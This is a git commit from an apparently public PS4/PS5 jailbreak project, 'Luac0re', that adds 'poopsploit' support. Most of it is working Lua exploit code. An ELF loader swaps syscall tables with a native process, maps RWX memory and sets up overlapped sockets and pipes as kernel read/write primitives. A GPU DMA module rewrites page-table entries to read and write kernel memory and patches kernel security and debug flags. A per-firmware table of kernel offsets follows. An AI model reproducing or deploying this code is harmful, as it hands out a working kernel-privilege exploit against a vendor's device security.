Fix bugs and add poopsploit support

This commit is contained in:
Gezine committed 2026-03-27 13:25:38 +09:00
1 parent 64bda1b2fc
commit 7e886e8182
12 files changed
+2079 -6

No files matched your search

+3
View File
@@ -13,6 +13,7 @@ Luac0re is a [mast1c0re](https://cturt.github.io/mast1c0re.html) variation that
- PS4 or PS5 console
- Disc or digital version of *Star Wars Racer Revenge* USA (CUSA03474) or EU (CUSA03492) region
- Poopsploit payload requires 12.00 or lower firmware PS5
## Usage
@@ -30,6 +31,8 @@ Luac0re is a [mast1c0re](https://cturt.github.io/mast1c0re.html) variation that
* **[ChampionLeake](https://github.com/ChampionLeake)** - PS2 *Star Wars Racer Revenge* exploit writeup on [psdevwiki](https://www.psdevwiki.com/ps2/Vulnerabilities)
* **[shahrilnet](https://github.com/shahrilnet) & [null_ptr](https://github.com/n0llptr)** - Code references from [remote_lua_loader](https://github.com/shahrilnet/remote_lua_loader)
* **[Dr.Yenyen](https://github.com/DrYenyen)** - Testing and validation
* **[TheFlow](https://github.com/theofficialflow)** - Original netcontrol kernel exploit
* **[egycnq](https://github.com/egycnq)** - Porting netcontrol kernel exploit to Luac0re
## Disclaimer
Binary file not shown.
Binary file not shown.
+364
View File
@@ -0,0 +1,364 @@
local MAPPING_ADDR = 0x926100000
local SHADOW_MAPPING_ADDR = 0x920100000
local PROT_RW = 0x3
local PROT_RWX = 0x7
local MAP_SHARED_FIXED = 0x11
local MAP_ANON_PRIVATE_FIXED = 0x1012
local IPPROTO_IPV6 = 41
local IPV6_PKTINFO = 46
local IPV6_2292PKTOPTIONS = 25
local IPV6_TCLASS = 61
local AF_INET6 = 28
local SOCK_DGRAM = 2
local IPPROTO_UDP = 17
-- error handling
local function fail(msg)
ulog("[elf] ERROR: " .. msg)
send_notification(msg)
return nil
end
-- helpers
local function get_ofiles()
local p_fd = kread64(curproc + OFF.PROC_FD)
local tbl = kread64(p_fd + OFF.FILEDESC_OFILES)
return tbl + OFF.FDESCENTTBL_HDR
end
local function fd_to_fp(ofiles, fd)
return kread64(ofiles + fd * OFF.FILEDESCENT_SIZE)
end
local function read_procname(proc, comm_off)
local buf = malloc(32)
kread(buf, proc + comm_off, 32)
local name = ""
for i = 0, 31 do
local ch = read8(buf + i)
if ch == 0 then break end
if ch < 0x20 or ch > 0x7E then return "" end
name = name .. string.char(ch)
end
return name
end
-- proc offset discovery
local function find_proc_offsets()
local buf = malloc(0x1000)
kread(buf, curproc, 0x1000)
local sysent_off
for i = 0, 0x1000 - 8 do
if read64(buf + i) == 0x7FFFFFFFFFFFFFFF then
sysent_off = i - 0x10
break
end
end
if not sysent_off or sysent_off < 0 then
return fail("PROC_SYSENT not found")
end
local comm_off
for i = 0, 0x1000 - 6 do
if read8(buf + i) == 0xCE and read8(buf + i+1) == 0xFA
and read8(buf + i+2) == 0xEF and read8(buf + i+3) == 0xBE
and read8(buf + i+4) == 0xCC and read8(buf + i+5) == 0xBB then
comm_off = i + 8
break
end
end
if not comm_off then
return fail("PROC_COMM not found")
end
return sysent_off, comm_off
end
-- sysent swap
local function find_native_process(comm_off)
local names = { "SceGameLiveStreaming", "SceRedisServer", "SceSysAvControl" }
local p = kread64(gpu.data_base + OFF.ALLPROC)
while p ~= 0 and (p >> 48) == 0xFFFF do
local name = read_procname(p, comm_off)
for _, target in ipairs(names) do
if name == target then return p, name end
end
p = kread64(p)
end
return fail("no native PS5 process found")
end
local function swap_sysent(sysent_off, target_proc)
local our = kread64(curproc + sysent_off)
local their = kread64(target_proc + sysent_off)
local saved = {
sv_size = kread32(our),
sv_table = kread64(our + 0x8),
sysent = our,
}
kwrite32(our, kread32(their))
kwrite64(our + 0x8, kread64(their + 0x8))
return saved
end
local function restore_sysent(saved)
kwrite32(saved.sysent, saved.sv_size)
kwrite64(saved.sysent + 0x8, saved.sv_table)
end
-- ELF loader
local function load_elf(path)
local fd = syscall.open(path, 0, 0)
if fd < 0 then return nil end
local size = syscall.lseek(fd, 0, 2)
syscall.lseek(fd, 0, 0)
local store = malloc(size)
syscall.read(fd, store, size)
syscall.close(fd)
if read32(store) ~= 0x464C457F then return nil end
return store
end
local function map_elf(store)
local e_entry = read64(store + 0x18)
local e_phoff = read64(store + 0x20)
local e_shoff = read64(store + 0x28)
local e_phnum = read16(store + 0x38)
local e_shnum = read16(store + 0x3C)
local exec_start, exec_end = 0, 0
for i = 0, e_phnum - 1 do
local ph = store + e_phoff + i * 0x38
local p_type = read32(ph)
local p_flags = read32(ph + 4)
local p_off = read64(ph + 0x08)
local p_vaddr = read64(ph + 0x10)
local p_filesz = read64(ph + 0x20)
local p_memsz = read64(ph + 0x28)
if p_type == 1 then
local aligned = (p_memsz + 0x3FFF) & 0xFFFFC000
if (p_flags & 1) == 1 then
exec_start = p_vaddr
exec_end = p_vaddr + p_memsz
local eh = syscall.jitshm_create(0, aligned, PROT_RWX)
local wh = syscall.jitshm_alias(eh, PROT_RW)
syscall.mmap(SHADOW_MAPPING_ADDR, aligned, PROT_RW, MAP_SHARED_FIXED, wh, 0)
if p_filesz > 0 then memcpy(SHADOW_MAPPING_ADDR, store + p_off, p_filesz) end
if p_memsz > p_filesz then memset(SHADOW_MAPPING_ADDR + p_filesz, 0, p_memsz - p_filesz) end
syscall.mmap(MAPPING_ADDR + p_vaddr, aligned, PROT_RWX, MAP_SHARED_FIXED, eh, 0)
else
syscall.mmap(MAPPING_ADDR + p_vaddr, aligned, PROT_RW, MAP_ANON_PRIVATE_FIXED, 0xFFFFFFFF, 0)
if p_filesz > 0 then memcpy(MAPPING_ADDR + p_vaddr, store + p_off, p_filesz) end
end
end
end
local reloc_count = 0
for i = 0, e_shnum - 1 do
local sh = store + e_shoff + i * 0x40
if read32(sh + 4) == 4 then
local sh_off = read64(sh + 0x18)
local sh_size = read64(sh + 0x20)
for j = 0, (sh_size // 0x18) - 1 do
local r = store + sh_off + j * 0x18
local r_offset = read64(r)
local r_info = read64(r + 8)
local r_addend = read64(r + 0x10)
if (r_info & 0xFF) == 0x08 then
local dst = (r_offset >= exec_start and r_offset < exec_end)
and (SHADOW_MAPPING_ADDR + r_offset)
or (MAPPING_ADDR + r_offset)
write64(dst, MAPPING_ADDR + r_addend)
reloc_count = reloc_count + 1
end
end
end
end
return MAPPING_ADDR + e_entry, reloc_count
end
-- kernel r/w primitives for the loaded ELF
local function create_pipe()
local fPipe = func_wrap(dlsym(LIBKERNEL_HANDLE, "pipe"))
local buf = malloc(8)
write32(buf, 0); write32(buf + 4, 0)
local ret = fPipe(buf)
local rfd, wfd = read32(buf), read32(buf + 4)
if ret ~= 0 or rfd <= 0 or wfd <= 0 then
return fail("pipe() failed")
end
local fp = fd_to_fp(get_ofiles(), rfd)
local kpipe = kread64(fp)
if kpipe == 0 then
return fail("kpipe is NULL")
end
return rfd, wfd, kpipe
end
local function create_overlapped_sockets()
local ms = create_socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)
local vs = create_socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)
local mbuf = malloc(24)
write32(mbuf, 20)
write32(mbuf + 0x04, IPPROTO_IPV6)
write32(mbuf + 0x08, IPV6_TCLASS)
write32(mbuf + 0x0C, 0)
write32(mbuf + 0x10, 0)
write32(mbuf + 0x14, 0)
syscall.setsockopt(ms, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, mbuf, 24)
local vbuf = malloc(20)
for i = 0, 4 do write32(vbuf + i * 4, 0) end
syscall.setsockopt(vs, IPPROTO_IPV6, IPV6_PKTINFO, vbuf, 20)
local ofiles = get_ofiles()
local mso = kread64(fd_to_fp(ofiles, ms))
local mpcb = kread64(mso + 0x18)
local mp = kread64(mpcb + OFF.INPCB_PKTOPTS)
local vso = kread64(fd_to_fp(ofiles, vs))
local vpcb = kread64(vso + 0x18)
local vp = kread64(vpcb + OFF.INPCB_PKTOPTS)
if mp == 0 or vp == 0 then
return fail("pktopts allocation failed")
end
kwrite32(mso, kread32(mso) + 0x100)
kwrite32(vso, kread32(vso) + 0x100)
kwrite64(mp + 0x10, vp + 0x10)
return ms, vs
end
function load_elfldr()
ulog("====== elf_loader ======")
syscall.resolve({
open = 0x5, lseek = 0x1DE, mmap = 0x1DD, munmap = 0x49,
jitshm_create = 0x215, jitshm_alias = 0x216,
})
local fPJ = func_wrap(dlsym(LIBKERNEL_HANDLE, "scePthreadJoin"))
local PROC_SYSENT, PROC_COMM = find_proc_offsets()
if not PROC_SYSENT then return end
local target, tname = find_native_process(PROC_COMM)
if not target then return end
ulog("target: " .. tname)
local saved = swap_sysent(PROC_SYSENT, target)
local title_id = get_title_id()
local ok, err = pcall(function()
local fw = tonumber(FW_VERSION)
if fw > 12.00 then
error("Unsupported firmware " .. FW_VERSION)
end
local elf
if fw > 10.01 then
elf = "elfldr_1200.elf"
else
elf = "elfldr_1001.elf"
end
local search = {
"/mnt/sandbox/" .. title_id .. "_000/savedata0/lua/elf_jb/" .. elf,
"/mnt/sandbox/" .. title_id .. "_001/savedata0/lua/elf_jb/" .. elf,
"/mnt/sandbox/" .. title_id .. "_002/savedata0/lua/elf_jb/" .. elf,
}
local store, path
for _, p in ipairs(search) do
store = load_elf(p)
if store then path = p; break end
end
if not store then fail("elfldr.elf not found"); return end
ulog("loaded " .. path)
local entry, nrelocs = map_elf(store)
ulog("entry=" .. to_hex(entry) .. " relocs=" .. nrelocs)
local prfd, pwfd, kpipe = create_pipe()
if not prfd then return end
local ofiles = get_ofiles()
local prfp = fd_to_fp(ofiles, prfd)
local pwfp = fd_to_fp(ofiles, pwfd)
kwrite32(prfp + 0x28, kread32(prfp + 0x28) + 0x100)
kwrite32(pwfp + 0x28, kread32(pwfp + 0x28) + 0x100)
local ms, vs = create_overlapped_sockets()
if not ms then return end
local rwpipe = malloc(8)
write32(rwpipe, prfd); write32(rwpipe + 4, pwfd)
local rwpair = malloc(8)
write32(rwpair, ms); write32(rwpair + 4, vs)
local payloadout = malloc(4)
write32(payloadout, 0)
local args = malloc(0x30)
write64(args + 0x00, dlsym(LIBKERNEL_HANDLE, "getpid"))
write64(args + 0x08, rwpipe)
write64(args + 0x10, rwpair)
write64(args + 0x18, kpipe)
write64(args + 0x20, gpu.data_base)
write64(args + 0x28, payloadout)
local th = malloc(8); write64(th, 0)
local at = malloc(0x100)
fAI(at); fAS(at, 0x80000)
local ret = fPC(th, at, entry, args, "elfldr")
fAD(at)
if ret ~= 0 then
fail("pthread_create failed: " .. to_hex(ret))
return
end
ulog("running...")
fPJ(read64(th), 0)
ulog("payloadout=" .. to_hex(read32(payloadout)))
end)
--restore_sysent(saved)
--ulog("sysent restored")
if not ok then
ulog("[elf] ERROR: " .. tostring(err))
send_notification("elf_loader: " .. tostring(err))
end
ulog("====== done ======")
end
+5 -2
View File
@@ -63,8 +63,8 @@ function get_dlsym_offset()
end
function dlsym(handle, sym)
if SCE_KERNEL_DLSYM == 0 then
error("dlsym offset not available for firmware " .. (FW_VERSION or "unknown"))
if not sceKernelDlsym then
error("dlsym not inited")
end
if type(sym) ~= "string" then
@@ -83,6 +83,9 @@ end
function init_dlsym()
assert(FW_VERSION)
if type(sceKernelDlsym) == "function" then
return
end
local major, minor = FW_VERSION:match("(%d+)%.(%d+)")
major = tonumber(major)
+481
View File
@@ -0,0 +1,481 @@
gpu = {}
gpu.dmem_size = 2 * 0x100000 -- 2mb
local GPU_PDE_ADDR_MASK = 0x0000FFFFFFFFFFC0
local CPU_PHYS_MASK = 0x000FFFFFFFFFF000
local PROT_READ = 0x01
local PROT_WRITE = 0x02
local GPU_READ = 0x10
local GPU_WRITE = 0x20
local MAP_NO_COALESCE = 0x400000
local kr64, kw64, kr32, kw32
local _dmap_base = nil
local _data_base = nil
local _kernel_cr3 = nil
local _curproc = nil
local _ulog = function() end
local _submit_method = nil
local _gnm_submit = nil
local _gnm_done = nil
local _gpu_fd = -1
local _alloc_dmem_fn = nil
local _map_dmem_fn = nil
-- helpers
local function phys_to_dmap(pa)
return _dmap_base + pa
end
local function virt_to_phys(va, cr3)
local pml4e = kr64(phys_to_dmap(cr3) + ((va >> 39) & 0x1FF) * 8)
if pml4e == 0 or (pml4e & 1) == 0 then return nil end
local pdpte = kr64(phys_to_dmap(pml4e & CPU_PHYS_MASK) + ((va >> 30) & 0x1FF) * 8)
if pdpte == 0 or (pdpte & 1) == 0 then return nil end
if (pdpte & 0x80) ~= 0 then
return (pdpte & 0x000FFFFFC0000000) | (va & 0x3FFFFFFF)
end
local pde = kr64(phys_to_dmap(pdpte & CPU_PHYS_MASK) + ((va >> 21) & 0x1FF) * 8)
if pde == 0 or (pde & 1) == 0 then return nil end
if (pde & 0x80) ~= 0 then
return (pde & 0x000FFFFFFFE00000) | (va & 0x1FFFFF)
end
local pte = kr64(phys_to_dmap(pde & CPU_PHYS_MASK) + ((va >> 12) & 0x1FF) * 8)
if pte == 0 or (pte & 1) == 0 then return nil end
return (pte & CPU_PHYS_MASK) | (va & 0xFFF)
end
local function get_proc_cr3(proc)
local vmspace = kr64(proc + OFF.PROC_VM_SPACE)
if vmspace == 0 or (vmspace >> 48) ~= 0xFFFF then return nil end
for i=1,6 do
local val = kr64(vmspace + 0x1C8 + i * 8)
local diff = val - vmspace
if diff >= 0x2C0 and diff <= 0x2F0 then
return kr64(val + OFF.PMAP_CR3)
end
end
return nil
end
local function get_vmid(proc)
local vmspace = kr64(proc + OFF.PROC_VM_SPACE)
for i=1,8 do
local val = kr32(vmspace + 0x1D4 + i * 4)
if val > 0 and val <= 0x10 then return val end
end
return nil
end
local function find_data_base(proc)
local p = proc
for i=1,64 do
p = kr64(p + 0x08)
if p == 0 or (p >> 48) ~= 0xFFFF then break end
if (p >> 32) == 0xFFFFFFFF then
local candidate = p - OFF.ALLPROC
if (candidate & 0xFFF) == 0 then return candidate end
end
end
return nil
end
-- gpu page table walk
local function gpu_pde_field(pde, shift)
return (pde >> shift) & 1
end
local function gpu_pde_frag(pde)
return (pde >> 59) & 0x1F
end
local function gpu_walk_pt(vmid, virt_addr)
local gvmspace = _data_base + OFF.GVMSPACE + vmid * OFF.SIZEOF_GVMSPACE
local pdb2_addr = kr64(gvmspace + OFF.GVMSPACE_PAGE_DIR)
local pml4e = kr64(pdb2_addr + ((virt_addr >> 39) & 0x1FF) * 8)
if gpu_pde_field(pml4e, 0) ~= 1 then return nil end
local pdp_pa = pml4e & GPU_PDE_ADDR_MASK
local pdpe = kr64(phys_to_dmap(pdp_pa) + ((virt_addr >> 30) & 0x1FF) * 8)
if gpu_pde_field(pdpe, 0) ~= 1 then return nil end
local pd_pa = pdpe & GPU_PDE_ADDR_MASK
local pde_idx = (virt_addr >> 21) & 0x1FF
local pde = kr64(phys_to_dmap(pd_pa) + pde_idx * 8)
if gpu_pde_field(pde, 0) ~= 1 then return nil end
if gpu_pde_field(pde, 54) == 1 then
return phys_to_dmap(pd_pa) + pde_idx * 8, 0x200000
end
local frag = gpu_pde_frag(pde)
local offset = virt_addr & 0x1FFFFF
local pt_pa = pde & GPU_PDE_ADDR_MASK
local pte_idx, page_size
if frag == 4 then
pte_idx = offset >> 16
local pte = kr64(phys_to_dmap(pt_pa) + pte_idx * 8)
if gpu_pde_field(pte, 0) == 1 and gpu_pde_field(pte, 56) == 1 then
pte_idx = (virt_addr & 0xFFFF) >> 13
page_size = 0x2000
else
page_size = 0x10000
end
elseif frag == 1 then
pte_idx = offset >> 13
page_size = 0x2000
else
return nil
end
return phys_to_dmap(pt_pa) + pte_idx * 8, page_size
end
local function get_ptb_entry(proc, va)
local vmid = get_vmid(proc)
if not vmid then return nil end
local gvmspace = _data_base + OFF.GVMSPACE + vmid * OFF.SIZEOF_GVMSPACE
local start_va = kr64(gvmspace + OFF.GVMSPACE_START_VA)
local gvm_size = kr64(gvmspace + OFF.GVMSPACE_SIZE)
if va < start_va or va >= start_va + gvm_size then return nil end
return gpu_walk_pt(vmid, va - start_va)
end
-- direct memory allocation
local function alloc_main_dmem(size, prot, flags)
local out = malloc(8); write64(out, 0)
local ret = _alloc_dmem_fn(size, size, 1, out)
if ret ~= 0 then return nil end
local phys = read64(out)
write64(out, 0)
local ret2 = _map_dmem_fn(out, size, prot, flags, phys, size)
if ret2 ~= 0 then return nil end
return read64(out), phys
end
-- pm4 command building
local function pm4_type3_header(opcode, count)
return (0x02 -- shader_type=1
| ((opcode & 0xFF) << 8)
| (((count - 1) & 0x3FFF) << 16)
| (0x03 << 30)) -- packet_type=3
& 0xFFFFFFFF
end
local function write_pm4_dma_to(buf, dst_va, src_va, length)
local dma_hdr = 0x8C00C000 -- src_cache=2 src_volatile=1 dst_cache=2 dst_volatile=1 cp_sync=1
write32(buf + 0x00, pm4_type3_header(0x50, 6))
write32(buf + 0x04, dma_hdr & 0xFFFFFFFF)
write32(buf + 0x08, src_va & 0xFFFFFFFF)
write32(buf + 0x0C, (src_va >> 32) & 0xFFFFFFFF)
write32(buf + 0x10, dst_va & 0xFFFFFFFF)
write32(buf + 0x14, (dst_va >> 32) & 0xFFFFFFFF)
write32(buf + 0x18, length & 0x1FFFFF)
return 28 -- 7 dwords
end
-- gpu command submission
local _gnm_dcb_addr = nil
local _gnm_dcb_size = nil
local function submit_via_gnm(cmd_va, cmd_size)
write64(_gnm_dcb_addr, cmd_va)
write32(_gnm_dcb_size, cmd_size)
local ret = _gnm_submit(1, _gnm_dcb_addr, _gnm_dcb_size, 0, 0)
if ret ~= 0 then return false end
_gnm_done()
return true
end
local _ioctl_desc = nil
local _ioctl_sub = nil
local _ioctl_ts = nil
local function submit_via_ioctl(cmd_va, cmd_size)
local dwords = cmd_size >> 2
write64(_ioctl_desc, ((cmd_va & 0xFFFFFFFF) << 32) | 0xC0023F00)
write64(_ioctl_desc + 8, ((dwords & 0xFFFFF) << 32) | ((cmd_va >> 32) & 0xFFFF))
write32(_ioctl_sub, 0)
write32(_ioctl_sub + 4, 1)
write64(_ioctl_sub + 8, _ioctl_desc)
syscall.ioctl(_gpu_fd, 0xC0108102, _ioctl_sub)
syscall.nanosleep(_ioctl_ts, 0)
return true
end
local function submit_dma(dst, src, size)
local cmd_size = write_pm4_dma_to(gpu.cmd_va, dst, src, size)
if _submit_method == "gnm" then
return submit_via_gnm(gpu.cmd_va, cmd_size)
else
return submit_via_ioctl(gpu.cmd_va, cmd_size)
end
end
-- gpu dma transfer
local function transfer_phys(phys_addr, size, is_write)
local trunc = phys_addr & ~(gpu.dmem_size - 1)
local offset = phys_addr - trunc
local prot_ro = PROT_READ | PROT_WRITE | GPU_READ
local prot_rw = prot_ro | GPU_WRITE
syscall.mprotect(gpu.victim_va, gpu.dmem_size, prot_ro)
kw64(gpu.victim_ptbe_va, gpu.cleared_victim_ptbe_for_ro | trunc)
syscall.mprotect(gpu.victim_va, gpu.dmem_size, prot_rw)
local src, dst
if is_write then
src = gpu.transfer_va
dst = gpu.victim_va + offset
else
src = gpu.victim_va + offset
dst = gpu.transfer_va
end
submit_dma(dst, src, size)
end
-- public r/w
function gpu.read32(kaddr)
local pa = virt_to_phys(kaddr, _kernel_cr3)
if not pa then return nil end
transfer_phys(pa, 4, false)
return read32(gpu.transfer_va)
end
function gpu.read64(kaddr)
local pa = virt_to_phys(kaddr, _kernel_cr3)
if not pa then return nil end
transfer_phys(pa, 8, false)
return read64(gpu.transfer_va)
end
function gpu.write32(kaddr, val)
local pa = virt_to_phys(kaddr, _kernel_cr3)
if not pa then return false end
write32(gpu.transfer_va, val)
transfer_phys(pa, 4, true)
return true
end
function gpu.write64(kaddr, val)
local pa = virt_to_phys(kaddr, _kernel_cr3)
if not pa then return false end
write64(gpu.transfer_va, val)
transfer_phys(pa, 8, true)
return true
end
function gpu.write8(kaddr, val)
local aligned = kaddr & 0xFFFFFFFFFFFFFFFC
local byteoff = kaddr - aligned
local dw = gpu.read32(aligned)
if not dw then return false end
dw = (dw & ~(0xFF << (byteoff * 8))) | ((val & 0xFF) << (byteoff * 8))
return gpu.write32(aligned, dw)
end
-- gpu.setup
function gpu.setup()
kr64 = kread64
kw64 = kwrite64
kr32 = kread32
kw32 = kwrite32
_curproc = curproc
_ulog = ulog or function() end
syscall.resolve({open=0x5, ioctl=0x36, mprotect=0x4A, nanosleep=0xF0})
-- resolve dmem alloc
local a_alloc = dlsym(LIBKERNEL_HANDLE, "sceKernelAllocateMainDirectMemory")
local a_map = dlsym(LIBKERNEL_HANDLE, "sceKernelMapDirectMemory")
if a_alloc == 0 or a_map == 0 then
send_notification("[gpu] dlsym dmem failed")
return false
end
_alloc_dmem_fn = func_wrap(a_alloc)
_map_dmem_fn = func_wrap(a_map)
-- try gnm driver, fallback to ioctl
_submit_method = "ioctl"
do
local gnm_mod = nil
-- try to find gnm driver handle
if find_mod_by_name then
local ok, m = pcall(find_mod_by_name, "libSceGnmDriverForNeoMode.sprx")
if ok and m then gnm_mod = m.handle end
end
if not gnm_mod and LIBSCEGNMDRIVER_HANDLE then
gnm_mod = LIBSCEGNMDRIVER_HANDLE
end
if gnm_mod then
local a1 = dlsym(gnm_mod, "sceGnmSubmitCommandBuffers")
local a2 = dlsym(gnm_mod, "sceGnmSubmitDone")
if a1 ~= 0 and a2 ~= 0 then
_gnm_submit = func_wrap(a1)
_gnm_done = func_wrap(a2)
_submit_method = "gnm"
_ulog("[gpu] using gnm submit")
end
end
end
if _submit_method == "ioctl" then
-- open /dev/gc
_gpu_fd = syscall.open("/dev/gc", 2, 0)
if _gpu_fd < 0 then
send_notification("[gpu] /dev/gc failed ("..tostring(_gpu_fd)..")")
return false
end
_ulog("[gpu] using ioctl /dev/gc fd="..tostring(_gpu_fd))
end
-- pre-allocate submission buffers (avoid per-call malloc leaks)
if _submit_method == "gnm" then
_gnm_dcb_addr = malloc(8)
_gnm_dcb_size = malloc(4)
else
_ioctl_desc = malloc(16)
_ioctl_sub = malloc(16)
_ioctl_ts = malloc(16)
write64(_ioctl_ts, 0); write64(_ioctl_ts + 8, 500000000)
end
-- find data_base
_data_base = find_data_base(_curproc)
if not _data_base then
send_notification("[gpu] data_base not found"); return false
end
_ulog("[gpu] data_base="..to_hex(_data_base))
-- dmap_base + kernel_cr3
local pmap_store = _data_base + OFF.KERNEL_PMAP_STORE
local pm_pml4 = kr64(pmap_store + OFF.PMAP_PML4)
local pm_cr3 = kr64(pmap_store + OFF.PMAP_CR3)
_dmap_base = pm_pml4 - pm_cr3
_kernel_cr3 = pm_cr3
_ulog("[gpu] dmap="..to_hex(_dmap_base).." cr3="..to_hex(_kernel_cr3))
local prot_rw = PROT_READ | PROT_WRITE | GPU_READ | GPU_WRITE
gpu.victim_va = alloc_main_dmem(gpu.dmem_size, prot_rw, MAP_NO_COALESCE)
gpu.transfer_va = alloc_main_dmem(gpu.dmem_size, prot_rw, MAP_NO_COALESCE)
gpu.cmd_va = alloc_main_dmem(gpu.dmem_size, prot_rw, MAP_NO_COALESCE)
if not gpu.victim_va or not gpu.transfer_va or not gpu.cmd_va then
send_notification("[gpu] dmem alloc failed"); return false
end
_ulog("[gpu] victim="..to_hex(gpu.victim_va))
_ulog("[gpu] transfer="..to_hex(gpu.transfer_va))
_ulog("[gpu] cmd="..to_hex(gpu.cmd_va))
local proc_cr3 = get_proc_cr3(_curproc)
if not proc_cr3 then
send_notification("[gpu] proc cr3 failed"); return false
end
local victim_real_pa = virt_to_phys(gpu.victim_va, proc_cr3)
if not victim_real_pa then
send_notification("[gpu] victim pa failed"); return false
end
_ulog("[gpu] victim_pa="..to_hex(victim_real_pa))
-- walk gpu page tables for victim pte
local ptbe_va, page_size = get_ptb_entry(_curproc, gpu.victim_va)
if not ptbe_va then
send_notification("[gpu] gpu pt walk failed"); return false
end
if page_size ~= gpu.dmem_size then
send_notification("[gpu] page_size mismatch "..to_hex(page_size)); return false
end
_ulog("[gpu] ptbe="..to_hex(ptbe_va))
-- capture cleared pte
local prot_ro = PROT_READ | PROT_WRITE | GPU_READ
syscall.mprotect(gpu.victim_va, gpu.dmem_size, prot_ro)
local initial_ptbe = kr64(ptbe_va)
gpu.cleared_victim_ptbe_for_ro = initial_ptbe & (~victim_real_pa)
gpu.victim_ptbe_va = ptbe_va
_ulog("[gpu] initial_ptbe="..to_hex(initial_ptbe))
_ulog("[gpu] cleared_ptbe="..to_hex(gpu.cleared_victim_ptbe_for_ro))
syscall.mprotect(gpu.victim_va, gpu.dmem_size, prot_rw)
-- export
gpu.data_base = _data_base
gpu.dmap_base = _dmap_base
gpu.kernel_cr3 = _kernel_cr3
_ulog("[gpu] setup ok ("..(_submit_method)..")")
return true
end
-- debug settings patch (uses gpu dma writes)
function gpu.patch_debug(ulog_fn)
local ulog = ulog_fn or _ulog
if not _data_base then ulog("[gpu] no data_base"); return false end
local secflags_addr = _data_base + OFF.SECURITY_FLAGS
-- security_flags |= 0x14
local sf = gpu.read32(secflags_addr)
if sf then
ulog("[gpu] sec_flags="..to_hex(sf))
gpu.write32(secflags_addr, sf | 0x14)
ulog("[gpu] sec_flags now="..to_hex(gpu.read32(secflags_addr)))
end
-- target_id = 0x82
gpu.write8(secflags_addr + 0x09, 0x82)
ulog("[gpu] target_id set")
-- qa_flags |= 0x10300
local qa = gpu.read32(secflags_addr + 0x24)
if qa then
ulog("[gpu] qa_flags="..to_hex(qa))
gpu.write32(secflags_addr + 0x24, qa | 0x10300)
ulog("[gpu] qa_flags now="..to_hex(gpu.read32(secflags_addr + 0x24)))
end
-- utoken |= 0x01
local ut_addr = secflags_addr + 0x8C
local ut_aligned = ut_addr & 0xFFFFFFFFFFFFFFFC
local ut_byte = ut_addr - ut_aligned
local ut_dw = gpu.read32(ut_aligned)
if ut_dw then
local ut_val = (ut_dw >> (ut_byte * 8)) & 0xFF
local new_dw = (ut_dw & ~(0xFF << (ut_byte * 8))) | (((ut_val | 0x01) & 0xFF) << (ut_byte * 8))
gpu.write32(ut_aligned, new_dw)
ulog("[gpu] utoken set")
end
ulog("[gpu] debug patches done")
return true
end
function gpu.close()
if _gpu_fd >= 0 then
syscall.close(_gpu_fd)
_gpu_fd = -1
end
end
+7 -1
View File
@@ -9,8 +9,11 @@ require "misc"
require "syscall"
require "remotelualoader"
require "jit"
require "gpu"
require "offsets"
require "elf_loader"
version_string = "Luac0re 2.1d by Gezine"
version_string = "Luac0re 2.2 by Gezine"
init_native_functions()
patch_malloc()
@@ -30,6 +33,9 @@ if not status then
return
end
-- For poops compatibility
ulog = print
nid_luafile = "/" .. get_nidpath() .. "/common_temp/nid.lua"
auto_luafile = "/savedata0/lua/auto.lua"
if file_exists(nid_luafile) then
+22 -2
View File
@@ -1,4 +1,3 @@
function printf(fmt, ...)
print(string.format(fmt, ...))
end
@@ -32,6 +31,7 @@ function file_read(filename, mode)
end
function send_notification(text)
print(text)
local notify_buffer_size = 0xc30
local notify_buffer = malloc(notify_buffer_size)
local icon_uri = "cxml://psnotification/tex_icon_system"
@@ -236,7 +236,7 @@ function is_jailbroken()
local sockaddr_in = malloc(16)
local enable = malloc(4)
local sock_fd = syscall.socket(AF_INET, SOCK_STREAM, 0)
local sock_fd = create_socket(AF_INET, SOCK_STREAM, 0)
if sock_fd == -1 then
error("socket failed: " .. to_hex(sock_fd))
end
@@ -357,3 +357,23 @@ function write_shellcode(dest, str)
end
end
function get_title_id()
local sceKernelGetAppInfo = func_wrap(dlsym(LIBKERNEL_HANDLE, "sceKernelGetAppInfo"))
local pid = syscall.getpid()
local app_info = malloc(0x100)
local result = sceKernelGetAppInfo(pid, app_info)
if result ~= 0 then
error("sceKernelGetAppInfo error: " .. to_hex(result))
end
return read_null_terminated_string(app_info + 0x10)
end
function kill_app()
local pid = syscall.getpid()
local SIGKILL = 9
syscall.kill(pid, SIGKILL)
end
+103
View File
@@ -0,0 +1,103 @@
-- sources: Y2JB kernel_offset.js, ps5-payload-dev SDK
fw_offsets = {
["4.00"] = { DATA_BASE=0x0C00000, ALLPROC=0x027EDCB8, SECURITY_FLAGS=0x06506474, ROOTVNODE=0x066E74C0, KERNEL_PMAP_STORE=0x03257A78, GVMSPACE=0x064C3F80 },
["4.02"] = "4.00", ["4.03"] = "4.00", ["4.50"] = "4.00", ["4.51"] = "4.00",
["5.00"] = { DATA_BASE=0x0C40000, ALLPROC=0x0291DD00, SECURITY_FLAGS=0x066466EC, ROOTVNODE=0x06853510, KERNEL_PMAP_STORE=0x03398A88, GVMSPACE=0x06603FB0 },
["5.02"] = "5.00", ["5.10"] = "5.00",
["5.50"] = { DATA_BASE=0x0C40000, ALLPROC=0x0291DD00, SECURITY_FLAGS=0x066466EC, ROOTVNODE=0x06853510, KERNEL_PMAP_STORE=0x03394A88, GVMSPACE=0x06603FB0 },
["6.00"] = { DATA_BASE=0x0C60000, ALLPROC=0x02869D20, SECURITY_FLAGS=0x065968EC, ROOTVNODE=0x0679F510, KERNEL_PMAP_STORE=0x032E4358, GVMSPACE=0x065540F0 },
["6.02"] = "6.00", ["6.50"] = "6.00",
["7.00"] = { DATA_BASE=0x0C50000, ALLPROC=0x02859D50, SECURITY_FLAGS=0x00AC8064, ROOTVNODE=0x030C7510, KERNEL_PMAP_STORE=0x02E2C848, GVMSPACE=0x02E76090 },
["7.01"] = "7.00", ["7.20"] = "7.00", ["7.40"] = "7.00", ["7.60"] = "7.00", ["7.61"] = "7.00",
["8.00"] = { DATA_BASE=0x0C70000, ALLPROC=0x02875D50, SECURITY_FLAGS=0x00AC3064, ROOTVNODE=0x030FB510, KERNEL_PMAP_STORE=0x02E48848, GVMSPACE=0x02EAA090 },
["8.20"] = "8.00", ["8.40"] = "8.00", ["8.60"] = "8.00",
["9.00"] = { DATA_BASE=0x0CA0000, ALLPROC=0x02755D50, SECURITY_FLAGS=0x00D72064, ROOTVNODE=0x02FDB510, KERNEL_PMAP_STORE=0x02D28B78, GVMSPACE=0x02D8A570 },
